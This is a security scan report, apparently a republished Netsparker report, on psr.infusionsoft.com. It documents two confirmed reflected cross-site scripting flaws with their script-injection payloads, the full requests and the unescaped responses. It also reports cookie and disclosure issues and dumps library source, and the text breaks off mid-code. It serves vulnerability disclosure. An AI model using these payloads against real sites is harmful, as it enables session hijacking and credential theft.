XSS, Cross Site Scripting in psr.infusionsoft.com, CWE-79, CAPEC-86, DORK, GHDB REPORT SUMMARY

Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home | XSS.CX Research Blog

Loading

Netsparker - Scan Report Summary
TARGET URL
https://psr.infusionsoft.com/AddForms/process...
SCAN DATE
4/24/2011 8:07:52 PM
REPORT DATE
4/24/2011 9:05:48 PM
SCAN DURATION
00:15:07

Total Reuests

Average Speed

req/sec.
10
identified
6
confirmed
0
critical
2
informational

GHDB, DORK Tests

GHDB, DORK Tests
PROFILE
Previous Settings
ENABLED ENGINES
Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
IMPORTANT
30 %
MEDIUM
10 %
LOW
40 %
INFORMATION
20 %

VULNERABILITY SUMMARY

Vulnerability Summary
URL Parameter Method Vulnerability Confirmed
/InAppHelp/popUpCenter.jsp pageName GET Cross-site Scripting Yes
/js/sink_jq.jsp [Possible] Generic Source Code Disclosure No
/js/sink_js.jsp E-mail Address Disclosure No
/login/processLogin.jsp Cookie Not Marked As Secure Yes
Cookie Not Marked As HttpOnly Yes
/lostPassword.jsp Auto Complete Enabled Yes
/Reports/ruleChange.jsp Internal Server Error Yes
/sitemap.xml Apache Coyote Version Disclosure No
Sitemap Identified No
/template/divFiller.jsp divName GET Cross-site Scripting Yes
Cross-site Scripting

Cross-site Scripting

2 TOTAL
IMPORTANT
CONFIRMED
2
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /InAppHelp/popUpCenter.jsp

/InAppHelp/popUpCenter.jsp CONFIRMED

https://psr.infusionsoft.com/InAppHelp/popUpCenter.jsp?pageName='%22--%3E%3C/style%3E%3C/script%3E%3..

Parameters

Parameter Type Value
pageName GET '"--></style></script><script>alert(0x000409)</script>

Request

GET /InAppHelp/popUpCenter.jsp?pageName='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000409)%3C/script%3E HTTP/1.1
Referer: https://psr.infusionsoft.com/js/sink_js.jsp?b=1.22.3.32
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: psr.infusionsoft.com
Cookie: JSESSIONID=39D6DAF4B6A9722A00304BB601305784; autologin=""
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Transfer-Encoding: chunked
Content-Encoding:
Vary: Accept-Encoding
Date: Mon, 25 Apr 2011 01:25:01 GMT


<!-- This TAG MUST COME FIRST, or else IE will ignore it --><meta http-equiv="X-UA-Compatible" content="IE=7.5"/><link rel="shortcut icon" href="/slices/style/favicon.ico" type="image/x-icon"/><!-- Headers to prevent the caching of pages --><meta http-equiv="Content-Type" content="text/html;charset=UTF-8"/><meta http-equiv="pragma" content="no-cache"/><meta http-equiv="cache-control" content="no-store"/><!-- Stylesheets --><link rel="stylesheet" href="/css/sink_css.jsp?b=1.22.3.32" type="text/css" media="screen"/><link rel="stylesheet" href="/css/print.css?b=1.22.3.32" type="text/css" media="print"/><!--[if lte IE 6]><link rel="stylesheet" href="/css/lte-ie6.css" type="text/css" media="screen"><![endif]--><!-- Javascript includes --><script type="text/javascript" src="/js/sink_jq.jsp?b=1.22.3.32"></script><script type="text/javascript" src="/js/sink_js.jsp?b=1.22.3.32"></script><script type="text/javascript"> var sessionTimeoutLength = 3600; jQuery(document).ready(function() { Infusion.Widgets.EnhancedSelect.init(); Infusion.Session.listenForTimeout(); });</script><style type="text/css"> a { color:#175CC3; font-family:Arial,Verdana,Sans-Serif; font-size:12px; font-weight:normal; text-decoration:underline; } h2.list-header, h2.grey-bg { color:black; font-size:16px; font-family:Arial,Verdana,Sans-Serif; font-weight:normal; margin-bottom:0; margin-top:0; padding:2px; } span.inf-button { background:transparent url(/slices/button-left.gif) no-repeat; font-size:11px; cursor: default; margin-right: 5px; } span.button-search .inner1 { padding-left: 14px; background: transparent url(/slices/button-search.gif) no-repeat center left; } span.inf-button .inner2 { background:transparent url(/slices/button-last.gif) no-repeat right center; *position: relative; } span.inf-button input { font-size:11px; font-weight:bold; padding-left: 2px; padding-right: 2px; height: 22px; background-color: transparent; border-style: none; color: #444444; vertical-align: middle; *padding-left: 4px; *padding-right: 4px; }</style><link rel="stylesheet" href="/css/sink_css.jsp" type="text/css" media="screen"/><link rel="stylesheet" href="/css/print.css" type="text/css" media="print"/><script type="text/javascript" src="/js/sink_jq.jsp"></script><script type="text/javascript" src="/resources/component/inapphelp/inapphelp.js"></script><body class="yui-skin-sam yui-skin-infusion"> <script type="text/javascript" src="/resources/component/inapphelp/inapphelp.js"></script><div id="iah-article-view" style="display:none;" class="iah-article-view-popup"> <div id="iah-back-link" style="display:none;"> <a href="#" onclick="Infusion.Component.Inapphelp.backToMenu(helpstreamQueryRan);">Back to the menu</a> </div> <div id="iah-article-title"> </div> <div id="iah-article-view-spinner"> <img src='/slices/ajax-spinner.gif' alt="Loading..."/> </div> <div id="iah-article-content"> </div> <div id="iah-article-rating" style="display:none;"> <p>Was this article helpful?</p> <div style="margin:auto; width:82px;"> <a href="#" class="thumbs" id="thumbs-up" style="margin-right:10px;" title="Yes" onclick="Infusion.Component.Inapphelp.submitThumbsUp(); return false;"></a> <a href="#" class="thumbs" id="thumbs-down" title="No" onclick="Infusion.Component.Inapphelp.submitThumbsDown(); return false;"></a> <br clear="all"/> </div> </div></div><div id="iah-content" class="iah-content-popup"> <div id="iah-searchbox"> <form action="javascript:;" id="iah-search-form"> <input id="iah-searchbox-input" type="text" value="search for something..."/> <input id="iah-go-button" name="iah-go-button" value="Search" type="submit" class="default-input button-search np inf-button" /> </form> </div> <div id="iah-articles-container" class="iah-subcontainter"> <div id="iah-articles-header" class="iah-list-header"> <table width="100%"> <tr> <td> <h2 class="list-header">Articles</h2> </td> <td class="view-all-list-link"> <span id="iah-related-articles-view-all-link"></span> </td> </tr> </table> </div> <div id="iah-articles" class="iah-article-list"> <ul class="iah-article-list article-icon" id="iah-related-articles"> </ul> </div> </div> <div id="iah-training" class="iah-subcontainter"> <div class="iah-list-header"> <table width="100%"> <tr> <td> <h2 class="list-header">Training</h2> </td> </tr> </table> </div> <ul class="iah-other-resources"> <li><a href="http://helpcenter.infusionsoft.com" target="_blank">Help Center</a></li> <li><a href="https://support.infusionsoft.com/View.jsp?procId=2a60277ff7cd53c1a901c3b6167f1e74" target="_blank">Video Library</a></li> <li><a href="http://helpcenter.infusionsoft.com/webinars/mastermindcalls" target="_blank">Training Webinars</a></li> </ul> </div> <div id="iah-resources" class="iah-subcontainter"> <div class="iah-list-header"> <table width="100%"> <tr> <td> <h2 class="list-header">More Help</h2> </td> </tr> </table> </div> <ul class="iah-other-resources"> <li><a href="/myAccount/index.action">My Account</a></li> <li><a href="http://directory.infusionsoft.com/" target="_blank">Find a CMAC</a></li> <li><a href="http://developers.infusionsoft.com/" target="_blank">Developers Center</a></li> </ul> </div> <div id="iah-support" class="iah-subcontainter"> <div class="iah-list-header"> <table width="100%"> <tr> <td> <h2 class="list-header">Tech Support</h2> </td> </tr> </table> </div> <ul class="iah-other-resources"> <li><a href="/helpstream/auth/login?goto=SupportPortalMyCases.jsp" target="_blank">View My Cases</a></li> <li><a href="/helpstream/auth/login?goto=NewCase.jsp" target="_blank">Report a Problem</a></li> <li><a href="http://infusionsoft.com/contact" target="_blank">Contact Tech Support</a></li> </ul> </div> <div id="iah-chat" class="iah-subcontainer-bottom"> <iframe src="/activaChat/generateChatButton.action" scrolling="no" frameBorder="0"></iframe> </div> </div></body><script type="text/javascript"> var helpstreamBaseURI = 'https://support.infusionsoft.com/'; var helpstreamGotoURI = '/helpstream/auth/login?goto='; var helpstreamQueryRan = false; function queryForHelpStreamContent(searchString, listId, queryAction) { // clear out previous results jQuery("#" + listId + " li").each(function() { jQuery(this).remove(); }); jQuery("[id*='-view-all-link']").each(function() { jQuery(this).html(""); }); Infusion.Component.Inapphelp.getHelpStreamContent(searchString, "", listId, queryAction, helpstreamBaseURI, helpstreamGotoURI, window.location.pathname, true); } function addViewAllArticlesLink(pageName) { jQuery.getJSON("/helpstream/getAllArticlesLink", {pageName: pageName, seed:new Date().getTime()}, function(data) { jQuery("#all-articles-link").html(""); jQuery("#all-articles-link").append(data[0].link); }); } function addViewAllQuestionsLink(pageName) { jQuery.getJSON("/helpstream/getAllQuestionsLink", {pageName: pageName, seed:new Date().getTime()}, function(data) { jQuery("#all-questions-link").html(""); jQuery("#all-questions-link").append(data[0].link); }); } jQuery(document).ready(function() { // change the window size jQuery.getJSON("/InAppHelp/helpActions/getWindowSize",{ seed:new Date().getTime()}, function(data) { window.resizeTo(data.width, data.height); }); // bind to go button jQuery("#iah-go-button").click(function() {// queryForHelpStreamContent(jQuery("#iah-searchbox-input").val(), "iah-related-articles", "getRelatedArticles");// queryForHelpStreamContent(jQuery("#iah-searchbox-input").val(), "iah-related-questions", "getAQuestion"); helpstreamQueryRan = true; }); Infusion.Component.Inapphelp.searchBarOnFocusHandler(); // bind to input box jQuery("#iah-search-form").submit(function() { queryForHelpStreamContent(jQuery("#iah-searchbox-input").val(), "iah-related-articles", "getRelatedArticles"); queryForHelpStreamContent(jQuery("#iah-searchbox-input").val(), "iah-related-questions", "getAQuestion"); helpstreamQueryRan = true; }); if (false) { // show article Infusion.Component.Inapphelp.showArticleContent("", true, 0, false); } else { if (false) { var query = ''; Infusion.Component.Inapphelp.getHelpStreamContent(query, "", "iah-related-articles", "getRelatedArticles", helpstreamBaseURI); Infusion.Component.Inapphelp.getHelpStreamContent(query, "", "iah-related-questions", "getAQuestion", helpstreamBaseURI); jQuery("#iah-searchbox-input").val(query).css("color", "black"); } else { // get page related set of articles Infusion.Component.Inapphelp.getHelpStreamContent("'"--></style></script><script>netsparker(0x000409)</script>", "", "iah-related-articles", "getRelatedArticles", helpstreamBaseURI, helpstreamGotoURI, window.location.pathname); Infusion.Component.Inapphelp.getHelpStreamContent("'"--></style></script><script>netsparker(0x000409)</script>", "", "iah-related-questions", "getAQuestion", null, helpstreamGotoURI, window.location.pathname); } helpstreamQueryRan = true; } jQuery("#iah-article-view").bind('scrollstop', function() { jQuery.post("/InAppHelp/helpActions/setScrollPosition", { position: jQuery("#iah-article-view").scrollTop() }); }); });</script>
- /template/divFiller.jsp

/template/divFiller.jsp CONFIRMED

https://psr.infusionsoft.com/template/divFiller.jsp?divName='%22--%3E%3C/style%3E%3C/script%3E%3Cscr..

Parameters

Parameter Type Value
divName GET '"--></style></script><script>alert(0x0006FA)</script>

Request

GET /template/divFiller.jsp?divName='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0006FA)%3C/script%3E HTTP/1.1
Referer: https://psr.infusionsoft.com/js/sink_jq.jsp?b=1.22.3.32
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: psr.infusionsoft.com
Cookie: JSESSIONID=18904575A7CBB30E2C791553AA143651; autologin=""
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Transfer-Encoding: chunked
Content-Encoding:
Vary: Accept-Encoding
Date: Mon, 25 Apr 2011 01:26:27 GMT


<!-- Headers to prevent the caching of pages --><html><head> <meta http-equiv="X-UA-Compatible" content="IE=7.5" > <meta http-equiv="pragma" content="no-cache"> <meta http-equiv="cache-control" content="no-store"> </head><body><div id="tmp"></div><script> try { var remoteDiv = window.parent.document.getElementById("'"--></style></script><script>netsparker(0x0006FA)</script>"); var thisDiv = document.getElementById("tmp"); remoteDiv.innerHTML = thisDiv.innerHTML; } catch(error){// alert(error.message); }</script></body><iframe src="/files/blank.jsp"></iframe></html>
Cookie Not Marked As Secure

Cookie Not Marked As Secure

1 TOTAL
IMPORTANT
CONFIRMED
1
A Cookie was not marked as secure and transmitted over HTTPS. This means the cookie could potentially be stolen by an attacker who can successfully intercept and decrypt the traffic or following a successful MITM (Man in the middle) attack.

Impact

This cookie will be transmitted over a HTTP connection, therefore if this cookie is important (such as a session cookie) an attacker might intercept it and hijack a victim's session. If the attacker can carry out a MITM attack, he/she can force victim to make a HTTP request to steal the cookie.

Actions to Take

  1. See the remedy for solution.
  2. Mark all cookies used within the application as secure. (If the cookie is not related to authentication or does not carry any personal information you do not have to mark it as secure.))

Remedy

Mark all cookies used within the application as secure.

Required Skills for Successful Exploitation

To exploit this issue, the attacker needs to be able to intercept traffic. This generally requires local access to the web server or victim's network. Attackers need to be understand layer 2, have physical access to systems either as way points for the traffic, or locally (have gained access to) to a system between the victim and the web server.
- /login/processLogin.jsp

/login/processLogin.jsp CONFIRMED

https://psr.infusionsoft.com/login/processLogin.jsp

Identified Cookie

autologin

Request

POST /login/processLogin.jsp HTTP/1.1
Referer: https://psr.infusionsoft.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: psr.infusionsoft.com
Cookie: JSESSIONID=663C21E54BA705557B0C9236EE70E797
Content-Length: 64
Accept-Encoding: gzip, deflate

csrf_token=&Login=Login&password=&savePassword=checked&username=

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Set-Cookie: autologin=""; Expires=Wed, 25-May-2011 01:07:42 GMT; Path=/
Location: https://psr.infusionsoft.com/login/defaultLogin.jsp?problems=Invalid+username+and%2For+password.
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Mon, 25 Apr 2011 01:07:42 GMT


[Possible] Generic Source Code Disclosure

[Possible] Generic Source Code Disclosure

1 TOTAL
MEDIUM
Netsparker identified a web page that discloses server side source code. An attacker can obtain server side source code of web application, which can contain sensitive data such as database connection strings, usernames and passwords along with the technical and business logic of the application.

Impact

Depending on the nature of the source code disclosed an attacker can mount one or more of the following types of attacks:

Actions to Take

  1. Confirm exactly what aspects of the source code is actually disclosed; due limitations of these types of vulnerability it might not be possible to confirm this in all instances. Confirm this is not intended functionality.
  2. If it is a file required by the application, change its permissions to prevent public users from accessing it. If it is not, then remove it from the web server
  3. Ensure that the server has all the current security patches applied.
  4. Remove all temporary and backup files from the web server.

Required Skills for Successful Exploitation

This is dependent on the information obtained from source code. Uncovering these forms of vulnerabilities does not require high levels of skills. However a highly skilled attacker could leverage this form of vulnerability to obtain account information for databases or administrative panels, ultimately leading to control of the application or even the host the application reside on.

External References

- /js/sink_jq.jsp

/js/sink_jq.jsp

https://psr.infusionsoft.com/js/sink_jq.jsp?b=1.22.3.32

Request

GET /js/sink_jq.jsp?b=1.22.3.32 HTTP/1.1
Referer: https://psr.infusionsoft.com/AddForms/processFormSecure.jsp
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: psr.infusionsoft.com
Cookie: JSESSIONID=663C21E54BA705557B0C9236EE70E797
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Expires: Mon, 25 Apr 2011 13:07:41 GMT
Content-Type: text/javascript;;charset=UTF-8
Transfer-Encoding: chunked
Content-Encoding:
Vary: Accept-Encoding
Date: Mon, 25 Apr 2011 01:07:41 GMT




/* FILE: /js/prototype/lib/prototype.js */
/* Prototype JavaScript framework, version 1.6.1 * (c) 2005-2009 Sam Stephenson * * Prototype is freely distributable under the terms of an MIT-style license. * For details, see the Prototype web site: http://www.prototypejs.org/ * *--------------------------------------------------------------------------*/var Prototype = { Version: '1.6.1', Browser: (function(){ var ua = navigator.userAgent; var isOpera = Object.prototype.toString.call(window.opera) == '[object Opera]'; return { IE: !!window.attachEvent && !isOpera, Opera: isOpera, WebKit: ua.indexOf('AppleWebKit/') > -1, Gecko: ua.indexOf('Gecko') > -1 && ua.indexOf('KHTML') === -1, MobileSafari: /Apple.*Mobile.*Safari/.test(ua) } })(), BrowserFeatures: { XPath: !!document.evaluate, SelectorsAPI: !!document.querySelector, ElementExtensions: (function() { var constructor = window.Element || window.HTMLElement; return !!(constructor && constructor.prototype); })(), SpecificElementExtensions: (function() { if (typeof window.HTMLDivElement !== 'undefined') return true; var div = document.createElement('div'); var form = document.createElement('form'); var isSupported = false; if (div['__proto__'] && (div['__proto__'] !== form['__proto__'])) { isSupported = true; } div = form = null; return isSupported; })() }, ScriptFragment: '<script[^>]*>([\\S\\s]*?)<\/script>', JSONFilter: /^\/\*-secure-([\s\S]*)\*\/\s*$/, emptyFunction: function() { }, K: function(x) { return x }};if (Prototype.Browser.MobileSafari) Prototype.BrowserFeatures.SpecificElementExtensions = false;var Abstract = { };var Try = { these: function() { var returnValue; for (var i = 0, length = arguments.length; i < length; i++) { var lambda = arguments[i]; try { returnValue = lambda(); break; } catch (e) { } } return returnValue; }};/* Based on Alex Arnell's inheritance implementation. */var Class = (function() { function subclass() {}; function create() { var parent = null, properties = $A(arguments); if (Object.isFunction(properties[0])) parent = properties.shift(); function klass() { this.initialize.apply(this, arguments); } Object.extend(klass, Class.Methods); klass.superclass = parent; klass.subclasses = []; if (parent) { subclass.prototype = parent.prototype; klass.prototype = new subclass; parent.subclasses.push(klass); } for (var i = 0; i < properties.length; i++) klass.addMethods(properties[i]); if (!klass.prototype.initialize) klass.prototype.initialize = Prototype.emptyFunction; klass.prototype.constructor = klass; return klass; } function addMethods(source) { var ancestor = this.superclass && this.superclass.prototype; var properties = Object.keys(source); if (!Object.keys({ toString: true }).length) { if (source.toString != Object.prototype.toString) properties.push("toString"); if (source.valueOf != Object.prototype.valueOf) properties.push("valueOf"); } for (var i = 0, length = properties.length; i < length; i++) { var property = properties[i], value = source[property]; if (ancestor && Object.isFunction(value) && value.argumentNames().first() == "$super") { var method = value; value = (function(m) { return function() { return ancestor[m].apply(this, arguments); }; })(property).wrap(method); value.valueOf = method.valueOf.bind(method); value.toString = method.toString.bind(method); } this.prototype[property] = value; } return this; } return { create: create, Methods: { addMethods: addMethods } };})();(function() { var _toString = Object.prototype.toString; function extend(destination, source) { for (var property in source) destination[property] = source[property]; return destination; } function inspect(object) { try { if (isUndefined(object)) return 'undefined'; if (object === null) return 'null'; return object.inspect ? object.inspect() : String(object); } catch (e) { if (e instanceof RangeError) return '...'; throw e; } } function toJSON(object) { var type = typeof object; switch (type) { case 'undefined': case 'function': case 'unknown': return; case 'boolean': return object.toString(); } if (object === null) return 'null'; if (object.toJSON) return object.toJSON(); if (isElement(object)) return; var results = []; for (var property in object) { var value = toJSON(object[property]); if (!isUndefined(value)) results.push(property.toJSON() + ': ' + value); } return '{' + results.join(', ') + '}'; } function toQueryString(object) { return $H(object).toQueryString(); } function toHTML(object) { return object && object.toHTML ? object.toHTML() : String.interpret(object); } function keys(object) { var results = []; for (var property in object) results.push(property); return results; } function values(object) { var results = []; for (var property in object) results.push(object[property]); return results; } function clone(object) { return extend({ }, object); } function isElement(object) { return !!(object && object.nodeType == 1); } function isArray(object) { return _toString.call(object) == "[object Array]"; } function isHash(object) { return object instanceof Hash; } function isFunction(object) { return typeof object === "function"; } function isString(object) { return _toString.call(object) == "[object String]"; } function isNumber(object) { return _toString.call(object) == "[object Number]"; } function isUndefined(object) { return typeof object === "undefined"; } extend(Object, { extend: extend, inspect: inspect, toJSON: toJSON, toQueryString: toQueryString, toHTML: toHTML, keys: keys, values: values, clone: clone, isElement: isElement, isArray: isArray, isHash: isHash, isFunction: isFunction, isString: isString, isNumber: isNumber, isUndefined: isUndefined });})();Object.extend(Function.prototype, (function() { var slice = Array.prototype.slice; function update(array, args) { var arrayLength = array.length, length = args.length; while (length--) array[arrayLength + length] = args[length]; return array; } function merge(array, args) { array = slice.call(array, 0); return update(array, args); } function argumentNames() { var names = this.toString().match(/^[\s\(]*function[^(]*\(([^)]*)\)/)[1] .replace(/\/\/.*?[\r\n]|\/\*(?:.|[\r\n])*?\*\//g, '') .replace(/\s+/g, '').split(','); return names.length == 1 && !names[0] ? [] : names; } function bind(context) { if (arguments.length < 2 && Object.isUndefined(arguments[0])) return this; var __method = this, args = slice.call(arguments, 1); return function() { var a = merge(args, arguments); return __method.apply(context, a); } } function bindAsEventListener(context) { var __method = this, args = slice.call(arguments, 1); return function(event) { var a = update([event || window.event], args); return __method.apply(context, a); } } function curry() { if (!arguments.length) return this; var __method = this, args = slice.call(arguments, 0); return function() { var a = merge(args, arguments); return __method.apply(this, a); } } function delay(timeout) { var __method = this, args = slice.call(arguments, 1); timeout = timeout * 1000 return window.setTimeout(function() { return __method.apply(__method, args); }, timeout); } function defer() { var args = update([0.01], arguments); return this.delay.apply(this, args); } function wrap(wrapper) { var __method = this; return function() { var a = update([__method.bind(this)], arguments); return wrapper.apply(this, a); } } function methodize() { if (this._methodized) return this._methodized; var __method = this; return this._methodized = function() { var a = update([this], arguments); return __method.apply(null, a); }; } return { argumentNames: argumentNames, bind: bind, bindAsEventListener: bindAsEventListener, curry: curry, delay: delay, defer: defer, wrap: wrap, methodize: methodize }})());Date.prototype.toJSON = function() { return '"' + this.getUTCFullYear() + '-' + (this.getUTCMonth() + 1).toPaddedString(2) + '-' + this.getUTCDate().toPaddedString(2) + 'T' + this.getUTCHours().toPaddedString(2) + ':' + this.getUTCMinutes().toPaddedString(2) + ':' + this.getUTCSeconds().toPaddedString(2) + 'Z"';};RegExp.prototype.match = RegExp.prototype.test;RegExp.escape = function(str) { return String(str).replace(/([.*+?^=!:${}()|[\]\/\\])/g, '\\$1');};var PeriodicalExecuter = Class.create({ initialize: function(callback, frequency) { this.callback = callback; this.frequency = frequency; this.currentlyExecuting = false; this.registerCallback(); }, registerCallback: function() { this.timer = setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); }, execute: function() { this.callback(this); }, stop: function() { if (!this.timer) return; clearInterval(this.timer); this.timer = null; }, onTimerEvent: function() { if (!this.currentlyExecuting) { try { this.currentlyExecuting = true; this.execute(); this.currentlyExecuting = false; } catch(e) { this.currentlyExecuting = false; throw e; } } }});Object.extend(String, { interpret: function(value) { return value == null ? '' : String(value); }, specialChar: { '\b': '\\b', '\t': '\\t', '\n': '\\n', '\f': '\\f', '\r': '\\r', '\\': '\\\\' }});Object.extend(String.prototype, (function() { function prepareReplacement(replacement) { if (Object.isFunction(replacement)) return replacement; var template = new Template(replacement); return function(match) { return template.evaluate(match) }; } function gsub(pattern, replacement) { var result = '', source = this, match; replacement = prepareReplacement(replacement); if (Object.isString(pattern)) pattern = RegExp.escape(pattern); if (!(pattern.length || pattern.source)) { replacement = replacement(''); return replacement + source.split('').join(replacement) + replacement; } while (source.length > 0) { if (match = source.match(pattern)) { result += source.slice(0, match.index); result += String.interpret(replacement(match)); source = source.slice(match.index + match[0].length); } else { result += source, source = ''; } } return result; } function sub(pattern, replacement, count) { replacement = prepareReplacement(replacement); count = Object.isUndefined(count) ? 1 : count; return this.gsub(pattern, function(match) { if (--count < 0) return match[0]; return replacement(match); }); } function scan(pattern, iterator) { this.gsub(pattern, iterator); return String(this); } function truncate(length, truncation) { length = length || 30; truncation = Object.isUndefined(truncation) ? '...' : truncation; return this.length > length ? this.slice(0, length - truncation.length) + truncation : String(this); } function strip() { return this.replace(/^\s+/, '').replace(/\s+$/, ''); } function stripTags() { return this.replace(/<\w+(\s+("[^"]*"|'[^']*'|[^>])+)?>|<\/\w+>/gi, ''); } function stripScripts() { return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), ''); } function extractScripts() { var matchAll = new RegExp(Prototype.ScriptFragment, 'img'); var matchOne = new RegExp(Prototype.ScriptFragment, 'im'); return (this.match(matchAll) || []).map(function(scriptTag) { return (scriptTag.match(matchOne) || ['', ''])[1]; }); } function evalScripts() { return this.extractScripts().map(function(script) { return eval(script) }); } function escapeHTML() { return this.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;'); } function unescapeHTML() { return this.stripTags().replace(/&lt;/g,'<').replace(/&gt;/g,'>').replace(/&amp;/g,'&'); } function toQueryParams(separator) { var match = this.strip().match(/([^?#]*)(#.*)?$/); if (!match) return { }; return match[1].split(separator || '&').inject({ }, function(hash, pair) { if ((pair = pair.split('='))[0]) { var key = decodeURIComponent(pair.shift()); var value = pair.length > 1 ? pair.join('=') : pair[0]; if (value != undefined) value = decodeURIComponent(value); if (key in hash) { if (!Object.isArray(hash[key])) hash[key] = [hash[key]]; hash[key].push(value); } else hash[key] = value; } return hash; }); } function toArray() { return this.split(''); } function succ() { return this.slice(0, this.length - 1) + String.fromCharCode(this.charCodeAt(this.length - 1) + 1); } function times(count) { return count < 1 ? '' : new Array(count + 1).join(this); } function camelize() { var parts = this.split('-'), len = parts.length; if (len == 1) return parts[0]; var camelized = this.charAt(0) == '-' ? parts[0].charAt(0).toUpperCase() + parts[0].substring(1) : parts[0]; for (var i = 1; i < len; i++) camelized += parts[i].charAt(0).toUpperCase() + parts[i].substring(1); return camelized; } function capitalize() { return this.charAt(0).toUpperCase() + this.substring(1).toLowerCase(); } function underscore() { return this.replace(/::/g, '/') .replace(/([A-Z]+)([A-Z][a-z])/g, '$1_$2') .replace(/([a-z\d])([A-Z])/g, '$1_$2') .replace(/-/g, '_') .toLowerCase(); } function dasherize() { return this.replace(/_/g, '-'); } function inspect(useDoubleQuotes) { var escapedString = this.replace(/[\x00-\x1f\\]/g, function(character) { if (character in String.specialChar) { return String.specialChar[character]; } return '\\u00' + character.charCodeAt().toPaddedString(2, 16); }); if (useDoubleQuotes) return '"' + escapedString.replace(/"/g, '\\"') + '"'; return "'" + escapedString.replace(/'/g, '\\\'') + "'"; } function toJSON() { return this.inspect(true); } function unfilterJSON(filter) { return this.replace(filter || Prototype.JSONFilter, '$1'); } function isJSON() { var str = this; if (str.blank()) return false; str = this.replace(/\\./g, '@').replace(/"[^"\\\n\r]*"/g, ''); return (/^[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]*$/).test(str); } function evalJSON(sanitize) { var json = this.unfilterJSON(); try { if (!sanitize || json.isJSON()) return eval('(' + json + ')'); } catch (e) { } throw new SyntaxError('Badly formed JSON string: ' + this.inspect()); } function include(pattern) { return this.indexOf(pattern) > -1; } function startsWith(pattern) { return this.indexOf(pattern) === 0; } function endsWith(pattern) { var d = this.length - pattern.length; return d >= 0 && this.lastIndexOf(pattern) === d; } function empty() { return this == ''; } function blank() { return /^\s*$/.test(this); } function interpolate(object, pattern) { return new Template(this, pattern).evaluate(object); } return { gsub: gsub, sub: sub, scan: scan, truncate: truncate, strip: String.prototype.trim ? String.prototype.trim : strip, stripTags: stripTags, stripScripts: stripScripts, extractScripts: extractScripts, evalScripts: evalScripts, escapeHTML: escapeHTML, unescapeHTML: unescapeHTML, toQueryParams: toQueryParams, parseQuery: toQueryParams, toArray: toArray, succ: succ, times: times, camelize: camelize, capitalize: capitalize, underscore: underscore, dasherize: dasherize, inspect: inspect, toJSON: toJSON, unfilterJSON: unfilterJSON, isJSON: isJSON, evalJSON: evalJSON, include: include, startsWith: startsWith, endsWith: endsWith, empty: empty, blank: blank, interpolate: interpolate };})());var Template = Class.create({ initialize: function(template, pattern) { this.template = template.toString(); this.pattern = pattern || Template.Pattern; }, evaluate: function(object) { if (object && Object.isFunction(object.toTemplateReplacements)) object = object.toTemplateReplacements(); return this.template.gsub(this.pattern, function(match) { if (object == null) return (match[1] + ''); var before = match[1] || ''; if (before == '\\') return match[2]; var ctx = object, expr = match[3]; var pattern = /^([^.[]+|\[((?:.*?[^\\])?)\])(\.|\[|$)/; match = pattern.exec(expr); if (match == null) return before; while (match != null) { var comp = match[1].startsWith('[') ? match[2].replace(/\\\\]/g, ']') : match[1]; ctx = ctx[comp]; if (null == ctx || '' == match[3]) break; expr = expr.substring('[' == match[3] ? match[1].length : match[0].length); match = pattern.exec(expr); } return before + String.interpret(ctx); }); }});Template.Pattern = /(^|.|\r|\n)(#\{(.*?)\})/;var $break = { };var Enumerable = (function() { function each(iterator, context) { var index = 0; try { this._each(function(value) { iterator.call(context, value, index++); }); } catch (e) { if (e != $break) throw e; } return this; } function eachSlice(number, iterator, context) { var index = -number, slices = [], array = this.toArray(); if (number < 1) return array; while ((index += number) < array.length) slices.push(array.slice(index, index+number)); return slices.collect(iterator, context); } function all(iterator, context) { iterator = iterator || Prototype.K; var result = true; this.each(function(value, index) { result = result && !!iterator.call(context, value, index); if (!result) throw $break; }); return result; } function any(iterator, context) { iterator = iterator || 